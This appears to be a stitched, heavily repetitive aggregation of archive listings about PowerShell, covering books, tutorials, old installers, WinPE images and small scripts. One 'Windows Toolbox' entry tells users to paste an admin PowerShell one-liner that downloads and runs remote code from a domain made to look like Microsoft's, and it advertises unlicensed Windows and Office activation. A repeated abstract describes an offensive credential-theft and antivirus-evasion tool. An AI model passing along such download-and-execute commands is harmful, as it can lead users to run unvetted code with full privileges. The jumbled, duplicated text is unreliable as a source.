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Windows Server 2022 & PowerShell All-in-One For Dummies 1st Edition Sara Perrott

Windows Server 2022 & PowerShell All-in-One For Dummies 1st Edition Sara Perrott

This is a tutorial 'Managing Active Directory in Windows Server 2008 using PowerShell 2.0' by Dmitry Sotnikof and Scott Ottaway. It was released under the Creative Commons License http://creativecommons.org/licenses/by-nc-nd/3.0/us/; for educational use only.

자동화의 기본 기술인 PowerShell 3.0에 대해 알아보십시오.

자동화의 기본 기술인 PowerShell 3.0에 대해 알아보십시오.

자동화의 기본 기술인 PowerShell 3.0에 대해 알아보십시오.

자동화의 기본 기술인 PowerShell 3.0에 대해 알아보십시오.

자동화의 기본 기술인 PowerShell 3.0에 대해 알아보십시오.

xxiv, 551 p. : 24 cm

xxiv, 551 p. : 24 cm

This Originally Came From Windows Management Framework 4.0. Microsoft Pulled The download links for Windows Powershell 4.0. So that's why I'm Archiving It. Original Description: Windows Management Framework 4.0 includes updates to Windows PowerShell, Windows PowerShell ISE, Windows PowerShell Web Services (Management OData IIS Extension), Windows Remote Management (WinRM), Windows Management Instrumentation (WMI), the Server Manager WMI provider, and a new feature for 4.0, Windows PowerShell Desired State Configuration (DSC). WMF 4.0 Can Be Installed On These Windows Versions: Windows 7 with Service Pack 1 Windows Server 2008 R2 with Service Pack 1 Windows Server 2012 WMF 4.0 requires Microsoft .NET Framework 4.5. You can install Microsoft .NET Framework 4.5 from the  Microsoft Download Center . 8.1 already has Powershell 4.0 Built In. Questions? Comment them below, I'll do my best to assist you!

Abusing Windows with PowerShell and Microsoft debuggers in user-land and kernel-land PowerMemory is a post-exploitation tool and an Active Directory recognition tool. It can bypass antivirus programs by its internal functioning (using only trusted tools), it can retrieve credentials information and manipulate memory to get shellcode executed and to modify process in memory. Today, PowerShell is everywhere and, just like this tool is useful for system administrators to accomplish their tasks, it can also be a very useful tool for attackers when it is time to exploit things in a corporate environment. The other component for attacking corporate environment could be an innocent other tool like a Microsoft debugger. The debugger allows us to access everywhere in user-land and kernel-land. To abuse Windows, a lot of tools provide access to memory through Windows APIs and, where necessary, use kernel drivers to access it. But when it is time to abuse user-land and kernel-land, it doesn't stop there, as the operating system can be abused by reading and writing its memory with simple trusted tools: debuggers. Why use a debugger to do the abuses? Because we chose Microsoft debuggers which are trusted with sha1/sha256 certificates. To automate the attacks, we will use PowerShell because it is installed on every corporate computers. As our method doesn't need Windows API reflection, this kind of attacks could become very hard to detect and mitigate. With such simple tools, we will demonstrate that we can do a lot. As far as I know, my attack approach is different because it only uses Microsoft debugger and PowerShell tools to succeed. Mimikatz and WCE already reveal passwords but I was not able to find tools using my approach. Also, the Pass-The-Token attack approach is not documented and could be a very easy and effective attack simply using a Microsoft debugger to be able to impersonate any process identity. How "deep" can we dig into the memory without any other help than the debugger? Keywords: debugger attack, offensive PowerShell automation, Pass-The-Token attack, kernel security, process injection Pierre-Alexandre Braeken (Senior Consultant / Security Architect at Deloitte) Mr. Braeken is an accomplished and highly experienced Security Architect possessing over 12 years of experience in engineering and system architecture. In his career, he has focused specifically on security, MCSE, MCSA, MCITP specialized in the implementation of large projects for businesses relying on the Microsoft infrastructure and alternative platforms. He is a Microsoft Certified Solutions Expert in Server Infrastructure. He holds an excellent command and understanding of information security, security architecture, secure application development and strong analytical skills pertaining to enterprise situations, risk and contingency plans. Mr. Braeken works for Deloitte as a Senior Consultant in Cyber Risks (Enterprise Risk Services) . He does unique Windows security research and speaks about it at international conferences (HackFest 2015 - Québec, Canada; Infosecurity Europe - London, UK).

Abusing Windows with PowerShell and Microsoft debuggers in user-land and kernel-land PowerMemory is a post-exploitation tool and an Active Directory recognition tool. It can bypass antivirus programs by its internal functioning (using only trusted tools), it can retrieve credentials information and manipulate memory to get shellcode executed and to modify process in memory. Today, PowerShell is everywhere and, just like this tool is useful for system administrators to accomplish their tasks, it can also be a very useful tool for attackers when it is time to exploit things in a corporate environment. The other component for attacking corporate environment could be an innocent other tool like a Microsoft debugger. The debugger allows us to access everywhere in user-land and kernel-land. To abuse Windows, a lot of tools provide access to memory through Windows APIs and, where necessary, use kernel drivers to access it. But when it is time to abuse user-land and kernel-land, it doesn't stop there, as the operating system can be abused by reading and writing its memory with simple trusted tools: debuggers. Why use a debugger to do the abuses? Because we chose Microsoft debuggers which are trusted with sha1/sha256 certificates. To automate the attacks, we will use PowerShell because it is installed on every corporate computers. As our method doesn't need Windows API reflection, this kind of attacks could become very hard to detect and mitigate. With such simple tools, we will demonstrate that we can do a lot. As far as I know, my attack approach is different because it only uses Microsoft debugger and PowerShell tools to succeed. Mimikatz and WCE already reveal passwords but I was not able to find tools using my approach. Also, the Pass-The-Token attack approach is not documented and could be a very easy and effective attack simply using a Microsoft debugger to be able to impersonate any process identity. How "deep" can we dig into the memory without any other help than the debugger? Keywords: debugger attack, offensive PowerShell automation, Pass-The-Token attack, kernel security, process injection Pierre-Alexandre Braeken (Senior Consultant / Security Architect at Deloitte) Mr. Braeken is an accomplished and highly experienced Security Architect possessing over 12 years of experience in engineering and system architecture. In his career, he has focused specifically on security, MCSE, MCSA, MCITP specialized in the implementation of large projects for businesses relying on the Microsoft infrastructure and alternative platforms. He is a Microsoft Certified Solutions Expert in Server Infrastructure. He holds an excellent command and understanding of information security, security architecture, secure application development and strong analytical skills pertaining to enterprise situations, risk and contingency plans. Mr. Braeken works for Deloitte as a Senior Consultant in Cyber Risks (Enterprise Risk Services) . He does unique Windows security research and speaks about it at international conferences (HackFest 2015 - Québec, Canada; Infosecurity Europe - London, UK).

자동화의 기본 기술인 PowerShell 3.0에 대해 알아보십시오.

None Powershell Windows Toolbox (Open Source) Simple and Easy to use Powershell Application(Graphical interface) to debloat windows 10 and 11, to remove Pre-installed useless application, Speedup preformance, disable cortana, Get rid of telementry, disable unnecessary scheduled tasks, Activate office or window, One click install Google Playstore on windows 11 and more... (latest update 2021) Open Source (Compatible with windows 10 and 11) View the Windows Toolbox Source Code here : https://ps.microsoft-toolbox.workers.dev Features Before doing anything, Create a "System Restore Point" from Windows Toolbox. just in case if thing does not goes as u like or you want to revert back in previous state.It's Completely Safe to use because everything is reversible System Tweaks Debloat / Remove pre-installed app Essential tweaks for preformance (with undo option) Turn Windows Update on/off or Security Update only Additional Option Set ultrapower mode Fast animation Light/Dark mode Disable Onedrive Disable Microsoft Store Get rid of Start Menu tiles Activation Activate MS office (All version) Activate Windows 8, 10, 11 Other Option (On/Off) Cortana Action center window Search Background app Clipboard history Timer resolution (for Gaming FPS) Delete Temporary files Optional Fixes Reinstall Bloatware Reinstall MS Store Reinstall Onedrive Windows Update Reset Google Playstore on windows 11 One click Install Google Playstore on windows 11 Fix Google Playstore sign in issue Completely uninstall Google playstore How to use Easy Start Command (Windows 10 and 11) Start powershell with admin right and paste the following link and enter. iex((New-Object System.Net.WebClient).DownloadString('https://ps.microsoft-toolbox.workers.dev')) Video Guide: https://youtu.be/uOf_wH6jSEE Window Toolbox Preview Remember Most of its setting took affect globally in windows but few setting only affect the current user (like debloating, dark/light mode, startmenu tiles cleanup, deleting temp files etc), it's recommended to use it seperately on other local user account. After windows Feature update, most of the bloatware gets reinstalled and some of the setting get restored. To outcome this, use windows toolbox again. To restore the repository download the bundle wget https://archive.org/download/github.com-windowtoolbox-powershell-windows-toolbox_-_2022-01-13_13-30-37/windowtoolbox-powershell-windows-toolbox_-_2022-01-13_13-30-37.bundle and run: git clone windowtoolbox-powershell-windows-toolbox_-_2022-01-13_13-30-37.bundle Source: https://github.com/windowtoolbox/powershell-windows-toolbox Uploader: windowtoolbox Upload date: 2022-01-13

Cmdlets are the heart-and-soul of Windows PowerShell, Microsoft's new command shell/scripting language. This series provides a task-based introduction to Windows PowerShell cmdlets: rather than focusing on the individual cmdlets themselves, the emphasis is on the tasks you can carry out using those cmdlets. These tasks include everything from reading and writing text files to managing event logs to sorting and filtering data.

This report describes research that was conducted for the purpose of advancing cyber incident response capability at the U.S. DoD-defined Tier 3 level. As both authors (at time of writing) serve in cyber support roles within the U.S. Navy, the report is written with some specificity to Navy shipboard and facility environments. Given the complexity of modern cyber systems, analysis is generally considered to be the most technically difficult task involved in the incident handling life-cycle. Significant knowledge is required to detect (or verify) that an incident has occurred and to obtain sufficient additional system information with which to direct an informed response and recovery effort. This work focuses on analysis of the Windows OS 10 (client) platform using tools native to PowerShell. The authors “attack” a host, then demonstrate how PowerShell can be used to analyze system artifacts so as to determine details regarding either attack techniques used or system weaknesses that allowed the attack to succeed. The authors then describe how the most reliable artifacts can be combined to define indicators of compromise (IOC) using PowerShell scripts—scripts that could then be deployed to proactively “hunt” for other infected systems.

Windows Framework Core (Windows Powershell)

Windows Framework Core (Windows Powershell)

A simple Windows PowerShell logo

A simple Windows PowerShell logo

A simple Windows PowerShell logo

A simple Windows PowerShell logo

A simple Windows PowerShell logo

A simple Windows PowerShell logo

A simple Windows PowerShell logo

This document show you how to fix Windows powershell has stopped working on Windows 7/8/10

Viista

This is a tutorial 'Windows PowerShell 2.0 an Introduction' for a course 'ISE217 Windows PowerShell 2.0 Programming' held for National College, South Bend, Indiana.30 November 2012. Created by Gerard Arthus and released under the Creative Commons License in the Public Domain.

This is a tutorial 'Windows PowerShell 2.0 an Introduction' for a course 'ISE217 Windows PowerShell 2.0 Programming' held for National College, South Bend, Indiana.30 November 2012. Created by Gerard Arthus and released under the Creative Commons License in the Public Domain.

Episode: Episode 200 - PowerScripting Podcast - Doug Finke on Windows PowerShell for Developers

Windows Powershell RU

PowerShell v7.5.1 installers in both MSI and ZIP formats. MSI package - Best choice for Windows Servers and enterprise deployment scenarios. ZIP package - Easiest way to "side load" or install multiple versions. Original Sources: Microsoft Article

Este es un script similar a Neofetch de Linux, pero ahora escrito completamente por mi en PowerShell para el sistema Windows. Windows-Fetch-Neofetch-de-Linux-en-Windows-PowerShell- Este es un script similar a Neofetch de Linux, pero ahora escrito completamente por mi en PowerShell para el sistema Windows. Bueno el script es bastante basico, muestra los datos de la pc, como lo son: El nombre del usuario. OS (Sistema operativo) y Arquitectura (X86 O X64). Modelo (Modelo del pc actualmente usado). Tiempo (el horario en el que se ejecuta el script). Resolucion (el tamaño usado de pantalla actual del usuario). Version del powershell. CPU (tarjeta madre). GPU (grafica). Memoria (memorias ram). ///Asi es el resultado final: futuramente le añadire mas cosas para que sea aun mas completa. Muchas gracias :3 Jeff McWill 14/11/22 To restore the repository download the bundle wget https://archive.org/download/github.com-jeffmcwill-Windows-Fetch-Neofetch-de-Linux-en-Windows-PowerShell-_-_2022-11-15_01-16-17/jeffmcwill-Windows-Fetch-Neofetch-de-Linux-en-Windows-PowerShell-_-_2022-11-15_01-16-17.bundle and run: git clone jeffmcwill-Windows-Fetch-Neofetch-de-Linux-en-Windows-PowerShell-_-_2022-11-15_01-16-17.bundle Source: https://github.com/jeffmcwill/Windows-Fetch-Neofetch-de-Linux-en-Windows-PowerShell- Uploader: jeffmcwill Upload date: 2022-11-15

Este es un script similar a Neofetch de Linux, pero ahora escrito completamente por mi en PowerShell para el sistema Windows. Windows-Fetch-Neofetch-de-Linux-en-Windows-PowerShell- Este es un script similar a Neofetch de Linux, pero ahora escrito completamente por mi en PowerShell para el sistema Windows. Bueno el script es bastante basico, muestra los datos de la pc, como lo son: El nombre del usuario. OS (Sistema operativo) y Arquitectura (X86 O X64). Modelo (Modelo del pc actualmente usado). Tiempo (el horario en el que se ejecuta el script). Resolucion (el tamaño usado de pantalla actual del usuario). Version del powershell. CPU (tarjeta madre). GPU (grafica). Memoria (memorias ram). ///Asi es el resultado final: futuramente le añadire mas cosas para que sea aun mas completa. Muchas gracias :3 Jeff McWill 14/11/22 To restore the repository download the bundle wget https://archive.org/download/github.com-jeffmcwill-Windows-Fetch-Neofetch-de-Linux-en-Windows-PowerShell-_-_2022-11-15_01-16-17/jeffmcwill-Windows-Fetch-Neofetch-de-Linux-en-Windows-PowerShell-_-_2022-11-15_01-16-17.bundle and run: git clone jeffmcwill-Windows-Fetch-Neofetch-de-Linux-en-Windows-PowerShell-_-_2022-11-15_01-16-17.bundle Source: https://github.com/jeffmcwill/Windows-Fetch-Neofetch-de-Linux-en-Windows-PowerShell- Uploader: jeffmcwill Upload date: 2022-11-15

Este es un script similar a Neofetch de Linux, pero ahora escrito completamente por mi en PowerShell para el sistema Windows. Windows-Fetch-Neofetch-de-Linux-en-Windows-PowerShell- Este es un script similar a Neofetch de Linux, pero ahora escrito completamente por mi en PowerShell para el sistema Windows. Bueno el script es bastante basico, muestra los datos de la pc, como lo son: El nombre del usuario. OS (Sistema operativo) y Arquitectura (X86 O X64). Modelo (Modelo del pc actualmente usado). Tiempo (el horario en el que se ejecuta el script). Resolucion (el tamaño usado de pantalla actual del usuario). Version del powershell. CPU (tarjeta madre). GPU (grafica). Memoria (memorias ram). ///Asi es el resultado final: futuramente le añadire mas cosas para que sea aun mas completa. Muchas gracias :3 Jeff McWill 14/11/22 To restore the repository download the bundle wget https://archive.org/download/github.com-jeffmcwill-Windows-Fetch-Neofetch-de-Linux-en-Windows-PowerShell-_-_2022-11-15_01-16-17/jeffmcwill-Windows-Fetch-Neofetch-de-Linux-en-Windows-PowerShell-_-_2022-11-15_01-16-17.bundle and run: git clone jeffmcwill-Windows-Fetch-Neofetch-de-Linux-en-Windows-PowerShell-_-_2022-11-15_01-16-17.bundle Source: https://github.com/jeffmcwill/Windows-Fetch-Neofetch-de-Linux-en-Windows-PowerShell- Uploader: jeffmcwill Upload date: 2022-11-15

Windows Management Framework and Powershell 5.0 Supported Operating System: Windows 7 Service Pack 1, Windows 8.1, Windows Server 2008 R2 SP1, Windows Server 2012, Windows Server 2012 R2   ·          Windows Server 2012 R2 ·          Windows Server 2012 ·          Windows Server 2008 R2 SP1 ·          Windows 8.1 ·          Windows 7 SP1   **IMPORTANT** Systems that are running the following server applications should not run Windows Management Framework 5.0 at this time. ·          Microsoft Exchange Server 2013 ·          Microsoft Exchange Server 2010 SP3 ·          Microsoft SharePoint Server 2013 ·          Microsoft SharePoint Server 2010 ·          System Center 2012 Virtual Machine Manager Servers that are running the following applications can run WMF 5.0. ·          System Center 2012 Configuration Manager My Description: Microsoft published this WMF update around Windows 10 RTM/November Update era/Late 2015, but decided to remove it in 2016 in favor of Windows Management Framework and Powershell 5.1 which superseded this update. But sadly, they decided to remove this update, thus making it very obscure to find. Thankfully, good folks out there archived it back in early 2016, so that the i was able to find this update. I decided to post it here, so anyone can use this version if you don't want the newest version. Original Description: Windows Management Framework (WMF) 5.0 brings functionality that has been updated from WMF 4.0. WMF 5.0 is available for installation only on Windows Server 2012 R2, Windows Server 2012, Windows 2008 R2, Windows 8.1, and Windows 7 SP1. Some of the new and updated features in this release include: ·          Just Enough Administration (JEA) ·          Creating Custom Types using PowerShell Classes ·          Improvements in PowerShell Script Debugging ·          Improvements in Desired State Configuration (DSC) ·          Audit PowerShell Usage using Transcription and Logging ·          Software Discovery, Install and Inventory with PackageManagement ·          PowerShell Module Discovery, Install and Inventory with PowerShellGet ·          PowerShell Script Discovery, Install and Management with PowerShellGet ·          New and updated cmdlets based on community feedback ·          Information Stream ·          Generate PowerShell Cmdlets based on OData Endpoint ·          Network Switch Management with PowerShell ·          Software Inventory Logging (SIL) Your feedback about Windows Management Framework 5.0 is valuable to us; we invite you to provide feedback at all times. For important information about changes in behavior from Windows PowerShell 5.0, and a list of known issues with this release, be sure to read the  WMF 5.0 release notes . You can log bugs and suggestions by using the  PowerShell forum  within the  Windows Server UserVoice . Release Notes: Click Here Alternate Download: You can also Download this Update here ©2015 Microsoft Corporation. All Rights Reserved. I do not own any of this. All of the things mentioned here or provided here belongs to Microsoft Corporation, and i'm distributing the MSU files for Archival Purposes only. For DMCA, please contact me personally.

This is a Multi Architecture WinPE images.  This is created with the Windows ADK, version 2004. You can burn these to any CD/DVD media. These do not work on the Raspberry Pi, if you want to do it use QEMU emulating a Raspberry Pi 3B machine with 1GB of RAM, Virtio VGA, UEFI, and PS/2 Keyboard and Mouse. x86 Features: PowerShell, .NET 4.5 WinPE, QtWeb Web Browser, DISM Cmdlets, WMI, Storage WMI, WinPE Scripting, x64 Features: Web browser (go to the code.google.com page and then refresh until it loads, then click yes on all script errors and then click on "Google", PowerShell, .NET 4.5 WinPE, DISM Cmdlets, WMI, Storage WMI, WinPE Scripting. You can test the x86 and x64 images out with Wi-Fi bridged and 2GB of RAM or more.

This is a Multi Architecture WinPE images.  This is created with the Windows ADK, version 2004. You can burn these to any CD/DVD media. These do not work on the Raspberry Pi, if you want to do it use QEMU emulating a Raspberry Pi 3B machine with 1GB of RAM, Virtio VGA, UEFI, and PS/2 Keyboard and Mouse. x86 Features: PowerShell, .NET 4.5 WinPE, QtWeb Web Browser, DISM Cmdlets, WMI, Storage WMI, WinPE Scripting, x64 Features: Web browser (go to the code.google.com page and then refresh until it loads, then click yes on all script errors and then click on "Google", PowerShell, .NET 4.5 WinPE, DISM Cmdlets, WMI, Storage WMI, WinPE Scripting. You can test the x86 and x64 images out with Wi-Fi bridged and 2GB of RAM or more.

This is a Multi Architecture WinPE images.  This is created with the Windows ADK, version 2004. You can burn these to any CD/DVD media. These do not work on the Raspberry Pi, if you want to do it use QEMU emulating a Raspberry Pi 3B machine with 1GB of RAM, Virtio VGA, UEFI, and PS/2 Keyboard and Mouse. x86 Features: PowerShell, .NET 4.5 WinPE, QtWeb Web Browser, DISM Cmdlets, WMI, Storage WMI, WinPE Scripting, x64 Features: Web browser (go to the code.google.com page and then refresh until it loads, then click yes on all script errors and then click on "Google", PowerShell, .NET 4.5 WinPE, DISM Cmdlets, WMI, Storage WMI, WinPE Scripting. You can test the x86 and x64 images out with Wi-Fi bridged and 2GB of RAM or more.

This is a Multi Architecture WinPE images.  This is created with the Windows ADK, version 2004. You can burn these to any CD/DVD media. These do not work on the Raspberry Pi, if you want to do it use QEMU emulating a Raspberry Pi 3B machine with 1GB of RAM, Virtio VGA, UEFI, and PS/2 Keyboard and Mouse. x86 Features: PowerShell, .NET 4.5 WinPE, QtWeb Web Browser, DISM Cmdlets, WMI, Storage WMI, WinPE Scripting, x64 Features: Web browser (go to the code.google.com page and then refresh until it loads, then click yes on all script errors and then click on "Google", PowerShell, .NET 4.5 WinPE, DISM Cmdlets, WMI, Storage WMI, WinPE Scripting. You can test the x86 and x64 images out with Wi-Fi bridged and 2GB of RAM or more.

This is a Multi Architecture WinPE images.  This is created with the Windows ADK, version 2004. You can burn these to any CD/DVD media. These do not work on the Raspberry Pi, if you want to do it use QEMU emulating a Raspberry Pi 3B machine with 1GB of RAM, Virtio VGA, UEFI, and PS/2 Keyboard and Mouse. x86 Features: PowerShell, .NET 4.5 WinPE, QtWeb Web Browser, DISM Cmdlets, WMI, Storage WMI, WinPE Scripting, x64 Features: Web browser (go to the code.google.com page and then refresh until it loads, then click yes on all script errors and then click on "Google", PowerShell, .NET 4.5 WinPE, DISM Cmdlets, WMI, Storage WMI, WinPE Scripting. You can test the x86 and x64 images out with Wi-Fi bridged and 2GB of RAM or more.

This is a Multi Architecture WinPE images.  This is created with the Windows ADK, version 2004. You can burn these to any CD/DVD media. These do not work on the Raspberry Pi, if you want to do it use QEMU emulating a Raspberry Pi 3B machine with 1GB of RAM, Virtio VGA, UEFI, and PS/2 Keyboard and Mouse. x86 Features: PowerShell, .NET 4.5 WinPE, QtWeb Web Browser, DISM Cmdlets, WMI, Storage WMI, WinPE Scripting, x64 Features: Web browser (go to the code.google.com page and then refresh until it loads, then click yes on all script errors and then click on "Google", PowerShell, .NET 4.5 WinPE, DISM Cmdlets, WMI, Storage WMI, WinPE Scripting. You can test the x86 and x64 images out with Wi-Fi bridged and 2GB of RAM or more.

This is a Multi Architecture WinPE images.  This is created with the Windows ADK, version 2004. You can burn these to any CD/DVD media. These do not work on the Raspberry Pi, if you want to do it use QEMU emulating a Raspberry Pi 3B machine with 1GB of RAM, Virtio VGA, UEFI, and PS/2 Keyboard and Mouse. x86 Features: PowerShell, .NET 4.5 WinPE, QtWeb Web Browser, DISM Cmdlets, WMI, Storage WMI, WinPE Scripting, x64 Features: Web browser (go to the code.google.com page and then refresh until it loads, then click yes on all script errors and then click on "Google", PowerShell, .NET 4.5 WinPE, DISM Cmdlets, WMI, Storage WMI, WinPE Scripting. You can test the x86 and x64 images out with Wi-Fi bridged and 2GB of RAM or more.

This is a Multi Architecture WinPE images.  This is created with the Windows ADK, version 2004. You can burn these to any CD/DVD media. These do not work on the Raspberry Pi, if you want to do it use QEMU emulating a Raspberry Pi 3B machine with 1GB of RAM, Virtio VGA, UEFI, and PS/2 Keyboard and Mouse. x86 Features: PowerShell, .NET 4.5 WinPE, QtWeb Web Browser, DISM Cmdlets, WMI, Storage WMI, WinPE Scripting, x64 Features: Web browser (go to the code.google.com page and then refresh until it loads, then click yes on all script errors and then click on "Google", PowerShell, .NET 4.5 WinPE, DISM Cmdlets, WMI, Storage WMI, WinPE Scripting. You can test the x86 and x64 images out with Wi-Fi bridged and 2GB of RAM or more.

This is a Multi Architecture WinPE images.  This is created with the Windows ADK, version 2004. You can burn these to any CD/DVD media. These do not work on the Raspberry Pi, if you want to do it use QEMU emulating a Raspberry Pi 3B machine with 1GB of RAM, Virtio VGA, UEFI, and PS/2 Keyboard and Mouse. x86 Features: PowerShell, .NET 4.5 WinPE, QtWeb Web Browser, DISM Cmdlets, WMI, Storage WMI, WinPE Scripting, x64 Features: Web browser (go to the code.google.com page and then refresh until it loads, then click yes on all script errors and then click on "Google", PowerShell, .NET 4.5 WinPE, DISM Cmdlets, WMI, Storage WMI, WinPE Scripting. You can test the x86 and x64 images out with Wi-Fi bridged and 2GB of RAM or more.

This is a Multi Architecture WinPE images.  This is created with the Windows ADK, version 2004. You can burn these to any CD/DVD media. These do not work on the Raspberry Pi, if you want to do it use QEMU emulating a Raspberry Pi 3B machine with 1GB of RAM, Virtio VGA, UEFI, and PS/2 Keyboard and Mouse. x86 Features: PowerShell, .NET 4.5 WinPE, QtWeb Web Browser, DISM Cmdlets, WMI, Storage WMI, WinPE Scripting, x64 Features: Web browser (go to the code.google.com page and then refresh until it loads, then click yes on all script errors and then click on "Google", PowerShell, .NET 4.5 WinPE, DISM Cmdlets, WMI, Storage WMI, WinPE Scripting. You can test the x86 and x64 images out with Wi-Fi bridged and 2GB of RAM or more.

xxiv, 551 p. : 24 cm